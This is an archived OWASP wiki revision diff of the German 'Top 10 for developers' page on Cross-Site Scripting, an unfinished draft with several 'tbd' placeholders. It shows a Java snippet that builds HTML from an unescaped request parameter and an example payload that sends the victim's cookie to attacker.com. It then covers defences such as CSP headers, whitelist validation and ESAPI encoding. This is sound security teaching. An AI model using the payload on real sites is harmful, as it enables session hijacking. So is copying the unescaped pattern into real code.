This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)"
(Changed: Use New Varaibles of 'Top_10_2010_Developer_Edition_De:SubsectionAdvancedTemplate') |
(Referenzen für 'Content Security Policy' hinzugefügt; Aufruf folgender Templates angepasst (SummaryTableHeaderBeginTemplate, SummaryTableTemplate, SubsectionTableBeginTemplate)) |
||
Line 16: | Line 16: | ||
== A2 Cross-Site Scripting (XSS) == | == A2 Cross-Site Scripting (XSS) == | ||
− | {{ | + | {{Top_10_2010:SummaryTableHeaderBeginTemplate|type=images|year=2010|language=de}} |
− | {{ | + | {{Top_10:SummaryTableTemplate|exploitability=2|prevalence=0|detectability=1|impact=2|language=de|year=2013}} |
− | |||
− | |||
− | |||
{{Top_10_2010:SummaryTableHeaderEndTemplate}} | {{Top_10_2010:SummaryTableHeaderEndTemplate}} | ||
<td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren.</td> | <td {{Template:Top 10 2010:SummaryTableRowStyleTemplate}}>Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren.</td> | ||
Line 29: | Line 26: | ||
{{Top_10_2010:SummaryTableEndTemplate}} | {{Top_10_2010:SummaryTableEndTemplate}} | ||
− | {{Top_10:SubsectionTableBeginTemplate|type=main}} {{ | + | {{Top_10:SubsectionTableBeginTemplate|type=main}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=example|position=firstLeft|risk=2|year=2010|language=de}} |
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: | Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: | ||
− | {{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">(String) page += "<input name='creditcard' type='TEXT' value='" '''+ request.getParameter("CC")''' + "'>";</span>{{Top_10_2010:ExampleEndTemplate}} <!--- ''' ... ''' zum Hervorheben des ungeprüften Pareameters eingefügt --> | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">(String) page += "<input name='creditcard' type='TEXT' value='" '''+ request.getParameter("CC")''' + "'>";</span>{{Top_10_2010:ExampleEndTemplate}} <!--- ''' ... ''' zum Hervorheben des ungeprüften Pareameters eingefügt --> |
Der Angreifer ändert den Parameter <span style="color:red;">'''‘CC’'''</span> in seinem Browser auf: | Der Angreifer ändert den Parameter <span style="color:red;">'''‘CC’'''</span> in seinem Browser auf: | ||
− | {{Top_10_2010:ExampleBeginTemplate}} <span style="color:red;">'''<nowiki>'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'</nowiki>'''</span>{{Top_10_2010:ExampleEndTemplate}}. <!--- ''' ... ''' ---> | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}} <span style="color:red;">'''<nowiki>'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'</nowiki>'''</span>{{Top_10_2010:ExampleEndTemplate}}. <!--- ''' ... ''' ---> |
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere [[Top_10_2010-A5 | Informationen zu CSRF]]. | Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere [[Top_10_2010-A5 | Informationen zu CSRF]]. | ||
Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden: | Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden: | ||
Line 40: | Line 37: | ||
# '''DOM-basiert oder lokal''': Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt. | # '''DOM-basiert oder lokal''': Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt. | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=howPrevent|position=right|risk=2|year=2010|language=de}} |
'''Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.''' | '''Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.''' | ||
# Vorzugsweise sollten nicht vertrauenswürdige Metazeichen für den Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Entwickler müssen dies in ihren Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist. Das [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] enthält weitere Informationen zu Escaping-Techniken.''' | # Vorzugsweise sollten nicht vertrauenswürdige Metazeichen für den Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Entwickler müssen dies in ihren Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist. Das [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] enthält weitere Informationen zu Escaping-Techniken.''' | ||
Line 49: | Line 46: | ||
= '''JAVA''' = | = '''JAVA''' = | ||
<!--- Lasche fuer Java ---> | <!--- Lasche fuer Java ---> | ||
− | {{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{ | + | {{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=2|year=2010|language=de}} |
====XSS==== | ====XSS==== | ||
− | {{Top_10_2010:ExampleBeginTemplate}} | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}} |
tbd | tbd | ||
{{Top_10_2010:ExampleEndTemplate}} | {{Top_10_2010:ExampleEndTemplate}} | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=2|year=2010|language=de}} |
====Content Security Policy (CSP)==== | ====Content Security Policy (CSP)==== | ||
<b>Voraussetzung:</b> Javascript Code wird in .js externe Dateien ausgelagert, d.h. inline script tags u. ä. sollten nicht genutzt werden. | <b>Voraussetzung:</b> Javascript Code wird in .js externe Dateien ausgelagert, d.h. inline script tags u. ä. sollten nicht genutzt werden. | ||
Line 61: | Line 58: | ||
Setzen des Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort: | Setzen des Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort: | ||
− | {{Top_10_2010:ExampleBeginTemplate}}<span style="color:red;">response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" ); | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}}<span style="color:red;">response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" ); |
</span>{{Top_10_2010:ExampleEndTemplate}} | </span>{{Top_10_2010:ExampleEndTemplate}} | ||
Moderne Browser erkennen an diesem Header welchen Quellen die Webseite vertraut. Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. | Moderne Browser erkennen an diesem Header welchen Quellen die Webseite vertraut. Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=whole|title=3|risk=2|year=2010|language=de}} |
====Reflektiertes und Persistentes XSS==== | ====Reflektiertes und Persistentes XSS==== | ||
<b>Canonicalize Input</b> | <b>Canonicalize Input</b> | ||
Line 80: | Line 77: | ||
* Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &, < zu <, > zu >, " zu ", ' zu ' und / zu /). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems: | * Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &, < zu <, > zu >, " zu ", ' zu ' und / zu /). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems: | ||
− | {{Top_10_2010:ExampleBeginTemplate}} | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}} |
String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) ); | String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) ); | ||
{{Top_10_2010:ExampleEndTemplate}} | {{Top_10_2010:ExampleEndTemplate}} | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=userImpact|position=left|risk=2|year=2010|language=de}} |
====DOM-basiertes oder lokales XSS==== | ====DOM-basiertes oder lokales XSS==== | ||
(ganze Breite) | (ganze Breite) | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=2|year=2010|language=de}} |
{{Top_10_2010:SubSubsectionOWASPReferencesTemplate}} | {{Top_10_2010:SubSubsectionOWASPReferencesTemplate}} | ||
* [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] | * [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS Prevention Cheat Sheet]] | ||
Line 97: | Line 94: | ||
* [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]] | * [[Testing_for_Data_Validation | Testing Guide: 1st 3 Chapters on Data Validation Testing]] | ||
* [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]] | * [[Reviewing_Code_for_Cross-site_scripting | OWASP Code Review Guide: Chapter on XSS Review]] | ||
+ | * [[Content_Security_Policy | Content Security Policy]] | ||
+ | * [[Media:OWASP_MUC_csp_lightning-talk.pdf | Überblick über Content Security Policy (CSP) - ein Verfahren zur Verhinderung von XSS-Angriffen (Lightning-Talk von Christine Koppelt)]] | ||
+ | |||
{{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=de}} | {{Top_10_2010:SubSubsectionExternalReferencesTemplate|language=de}} | ||
* [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting] | * [http://cwe.mitre.org/data/definitions/79.html CWE Entry 79 on Cross-Site Scripting] | ||
* [http://ha.ckers.org/xss.html RSnake's XSS Attack Cheat Sheet] | * [http://ha.ckers.org/xss.html RSnake's XSS Attack Cheat Sheet] | ||
* [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Firefox 4’s Anti-XSS Content Security Policy Mechanism] | * [https://developer.mozilla.org/en/Introducing_Content_Security_Policy Firefox 4’s Anti-XSS Content Security Policy Mechanism] | ||
+ | * W3C-Spezifikation Content Security Policy [http://www.w3.org/TR/CSP/ Version 1.0,] [http://www.w3.org/TR/CSP11/ DRAFT für 1.1] | ||
{{Top_10:SubsectionTableEndTemplate}} | {{Top_10:SubsectionTableEndTemplate}} | ||
= '''JAVA-Test''' = | = '''JAVA-Test''' = | ||
<!-- weitere Programmiersprachen oder evtl Anti-Beispiele ---> | <!-- weitere Programmiersprachen oder evtl Anti-Beispiele ---> | ||
− | {{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{ | + | {{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=2|year=2010|language=de}} |
− | {{Top_10_2010:ExampleBeginTemplate}} | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}} |
tbd | tbd | ||
Text | Text | ||
{{Top_10_2010:ExampleEndTemplate}} | {{Top_10_2010:ExampleEndTemplate}} | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=2|year=2010|language=de}} |
− | {{Top_10_2010:ExampleBeginTemplate}} | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}} |
tbd | tbd | ||
Text | Text | ||
{{Top_10_2010:ExampleEndTemplate}} | {{Top_10_2010:ExampleEndTemplate}} | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=whole|title=3|risk=2|year=2010|language=de}} |
tbd | tbd | ||
Text | Text | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=userImpact|position=left|risk=2|year=2010|language=de}} |
(ganze Breite) | (ganze Breite) | ||
Text | Text | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=2|year=2010|language=de}} |
{{Top_10:SubsectionTableEndTemplate}} | {{Top_10:SubsectionTableEndTemplate}} | ||
Line 131: | Line 132: | ||
= '''Test''' = | = '''Test''' = | ||
<!-- weitere Programmiersprachen oder evtl Anti-Beispiele ---> | <!-- weitere Programmiersprachen oder evtl Anti-Beispiele ---> | ||
− | {{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{ | + | {{Top_10:SubsectionTableBeginTemplate|type=headertab}} {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=firstLeft|title=1|risk=2|year=2010|language=de}} |
− | {{Top_10_2010:ExampleBeginTemplate}} | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}} |
tbd | tbd | ||
Text | Text | ||
{{Top_10_2010:ExampleEndTemplate}} | {{Top_10_2010:ExampleEndTemplate}} | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=right|title=2|risk=2|year=2010|language=de}} |
− | {{Top_10_2010:ExampleBeginTemplate}} | + | {{Top_10_2010:ExampleBeginTemplate|year=2013}} |
tbd | tbd | ||
Text | Text | ||
{{Top_10_2010:ExampleEndTemplate}} | {{Top_10_2010:ExampleEndTemplate}} | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=defOp|position=whole|title=3|risk=2|year=2010|language=de}} |
tbd | tbd | ||
Text | Text | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=userImpact|position=left|risk=2|year=2010|language=de}} |
(ganze Breite) | (ganze Breite) | ||
Text | Text | ||
− | {{ | + | {{Top_10_2010:SubsectionAdvancedTemplate|type={{Top_10_2010:StyleTemplate}}|subsection=references|position=right|risk=2|year=2010|language=de}} |
{{Top_10:SubsectionTableEndTemplate}} | {{Top_10:SubsectionTableEndTemplate}} |
Revision as of 15:29, 22 April 2013
← Top_10_fuer_Entwickler/A1_Injection | Top_10_fuer_Entwickler/A3_Fehler in Authentifizierung und Session-Management → |
Seite in Bearbeitung (BAUSTELLE!!)
A2 Cross-Site Scripting (XSS)
Anwendungs- spezifisch |
Ausnutzbarkeit DURCHSCHNITTLICH |
Verbreitung AUSSERGEWÖHNLICH HÄUFIG |
Auffindbarkeit EINFACH |
Auswirkung MITTEL |
Application / Business Specific |
Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren. | Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken. | XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen. | Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc. | Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle. |
Mögliche Angriffsszenarien
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>' .
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere Informationen zu CSRF. Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:
|
Wie kann ich 'Cross-Site Scripting (XSS)' verhindern?
Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.
|
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':
XSStbd |
Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':
Content Security Policy (CSP)Voraussetzung: Javascript Code wird in .js externe Dateien ausgelagert, d.h. inline script tags u. ä. sollten nicht genutzt werden. Setzen des Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort: response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );
Moderne Browser erkennen an diesem Header welchen Quellen die Webseite vertraut. Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen. |
Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':
Reflektiertes und Persistentes XSSCanonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen. Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.
String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) ); | |
Auswirkung(en) auf den Benutzer
DOM-basiertes oder lokales XSS(ganze Breite) |
Referenzen
OWASP
Andere
|
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':
tbd Text | |
Auswirkung(en) auf den Benutzer
(ganze Breite) Text |
Referenzen
|
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':
tbd Text |
Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':
tbd Text | |
Auswirkung(en) auf den Benutzer
(ganze Breite) Text |
Referenzen
|
← Top_10_fuer_Entwickler/A1_Injection | Top_10_fuer_Entwickler/A3_Fehler in Authentifizierung und Session-Management → |
![CC-by-sa-3 0-88x31.png](/images/6/64/CC-by-sa-3_0-88x31.png)